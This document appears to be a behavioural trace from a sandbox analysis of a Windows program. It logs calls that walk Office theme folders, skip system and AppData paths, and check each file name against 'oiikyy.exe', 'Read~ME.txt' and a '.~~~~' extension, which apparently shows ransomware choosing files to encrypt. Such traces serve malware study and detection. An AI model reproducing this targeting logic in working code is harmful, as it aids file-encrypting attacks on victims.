	[0077.378] GetCurrentThreadId () returned 0x618
	[0077.378] RtlWakeConditionVariable () returned 0x365f48
	[0077.378] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0077.379] lstrcmpiW (lpString1="BLUECALM", lpString2="Windows") returned -1
	[0077.379] lstrcmpW (lpString1="BLUECALM", lpString2=".") returned 1
	[0077.379] lstrcmpW (lpString1="BLUECALM", lpString2="..") returned 1
	[0077.379] lstrcmpW (lpString1="BLUECALM", lpString2="AppData") returned 1
	[0077.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", lpSrch="AppData") returned 0x0
	[0077.379] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.379] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", lpString2="C:\\Windows") returned -1
	[0077.379] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.379] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", lpString2="C:\\System Volume Information") returned -1
	[0077.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.380] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.380] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.380] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.380] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.380] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.380] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.380] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.380] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.380] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.380] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.380] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.380] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.380] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1
	[0077.380] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="Windows") returned -1
	[0077.380] lstrcmpW (lpString1="BLUECALM.ELM", lpString2="oiikyy.exe") returned -1
	[0077.380] StrStrW (lpFirst="BLUECALM.ELM", lpSrch=".~~~~") returned 0x0
	[0077.381] lstrcmpW (lpString1="BLUECALM.ELM", lpString2="Read~ME.txt") returned -1
	[0077.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.381] GetCurrentThreadId () returned 0x618
	[0077.381] RtlWakeConditionVariable () returned 0x365f48
	[0077.381] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1
	[0077.381] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="Windows") returned -1
	[0077.381] lstrcmpW (lpString1="BLUECALM.INF", lpString2="oiikyy.exe") returned -1
	[0077.381] StrStrW (lpFirst="BLUECALM.INF", lpSrch=".~~~~") returned 0x0
	[0077.381] lstrcmpW (lpString1="BLUECALM.INF", lpString2="Read~ME.txt") returned -1
	[0077.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.381] GetCurrentThreadId () returned 0x618
	[0077.381] RtlWakeConditionVariable () returned 0x365f48
	[0077.381] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.381] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.381] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.381] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.381] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.381] GetCurrentThreadId () returned 0x618
	[0077.381] RtlWakeConditionVariable () returned 0x365f48
	[0077.381] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.381] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.381] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.382] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.382] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.382] GetCurrentThreadId () returned 0x618
	[0077.382] RtlWakeConditionVariable () returned 0x365f48
	[0077.382] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.382] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.382] GetCurrentThreadId () returned 0x618
	[0077.382] RtlWakeConditionVariable () returned 0x365f48
	[0077.382] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0077.382] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Windows") returned -1
	[0077.382] lstrcmpW (lpString1="BLUEPRNT", lpString2=".") returned 1
	[0077.382] lstrcmpW (lpString1="BLUEPRNT", lpString2="..") returned 1
	[0077.382] lstrcmpW (lpString1="BLUEPRNT", lpString2="AppData") returned 1
	[0077.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", lpSrch="AppData") returned 0x0
	[0077.382] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.382] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", lpString2="C:\\Windows") returned -1
	[0077.382] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.382] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", lpString2="C:\\System Volume Information") returned -1
	[0077.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.405] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.405] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.405] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.405] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.405] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.405] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.405] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.405] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.405] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.405] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.405] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.405] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.405] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1
	[0077.405] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="Windows") returned -1
	[0077.405] lstrcmpW (lpString1="BLUEPRNT.ELM", lpString2="oiikyy.exe") returned -1
	[0077.405] StrStrW (lpFirst="BLUEPRNT.ELM", lpSrch=".~~~~") returned 0x0
	[0077.405] lstrcmpW (lpString1="BLUEPRNT.ELM", lpString2="Read~ME.txt") returned -1
	[0077.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.405] GetCurrentThreadId () returned 0x618
	[0077.405] RtlWakeConditionVariable () returned 0x365f48
	[0077.406] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1
	[0077.406] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="Windows") returned -1
	[0077.406] lstrcmpW (lpString1="BLUEPRNT.INF", lpString2="oiikyy.exe") returned -1
	[0077.406] StrStrW (lpFirst="BLUEPRNT.INF", lpSrch=".~~~~") returned 0x0
	[0077.406] lstrcmpW (lpString1="BLUEPRNT.INF", lpString2="Read~ME.txt") returned -1
	[0077.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.406] GetCurrentThreadId () returned 0x618
	[0077.406] RtlWakeConditionVariable () returned 0x365f48
	[0077.406] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.406] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.406] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.406] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.406] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.406] GetCurrentThreadId () returned 0x618
	[0077.406] RtlWakeConditionVariable () returned 0x365f48
	[0077.406] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.406] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.406] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.406] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.406] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.406] GetCurrentThreadId () returned 0x618
	[0077.406] RtlWakeConditionVariable () returned 0x365f48
	[0077.407] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.407] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.407] GetCurrentThreadId () returned 0x618
	[0077.407] RtlWakeConditionVariable () returned 0x365f48
	[0077.408] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0077.408] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Windows") returned -1
	[0077.408] lstrcmpW (lpString1="BOLDSTRI", lpString2=".") returned 1
	[0077.408] lstrcmpW (lpString1="BOLDSTRI", lpString2="..") returned 1
	[0077.408] lstrcmpW (lpString1="BOLDSTRI", lpString2="AppData") returned 1
	[0077.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", lpSrch="AppData") returned 0x0
	[0077.408] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.408] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", lpString2="C:\\Windows") returned -1
	[0077.408] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.408] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", lpString2="C:\\System Volume Information") returned -1
	[0077.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.411] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.411] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.411] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.411] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.411] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.411] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.411] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.411] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.411] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.411] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.411] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.411] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.411] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1
	[0077.411] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="Windows") returned -1
	[0077.411] lstrcmpW (lpString1="BOLDSTRI.ELM", lpString2="oiikyy.exe") returned -1
	[0077.411] StrStrW (lpFirst="BOLDSTRI.ELM", lpSrch=".~~~~") returned 0x0
	[0077.411] lstrcmpW (lpString1="BOLDSTRI.ELM", lpString2="Read~ME.txt") returned -1
	[0077.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.411] GetCurrentThreadId () returned 0x618
	[0077.412] RtlWakeConditionVariable () returned 0x365f48
	[0077.412] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1
	[0077.412] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="Windows") returned -1
	[0077.412] lstrcmpW (lpString1="BOLDSTRI.INF", lpString2="oiikyy.exe") returned -1
	[0077.412] StrStrW (lpFirst="BOLDSTRI.INF", lpSrch=".~~~~") returned 0x0
	[0077.412] lstrcmpW (lpString1="BOLDSTRI.INF", lpString2="Read~ME.txt") returned -1
	[0077.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.412] GetCurrentThreadId () returned 0x618
	[0077.412] RtlWakeConditionVariable () returned 0x365f48
	[0077.412] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.412] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.412] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.412] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.412] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.412] GetCurrentThreadId () returned 0x618
	[0077.412] RtlWakeConditionVariable () returned 0x365f48
	[0077.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.413] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.413] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.413] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.413] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.413] GetCurrentThreadId () returned 0x618
	[0077.413] RtlWakeConditionVariable () returned 0x365f48
	[0077.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.413] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.413] GetCurrentThreadId () returned 0x618
	[0077.413] RtlWakeConditionVariable () returned 0x365f48
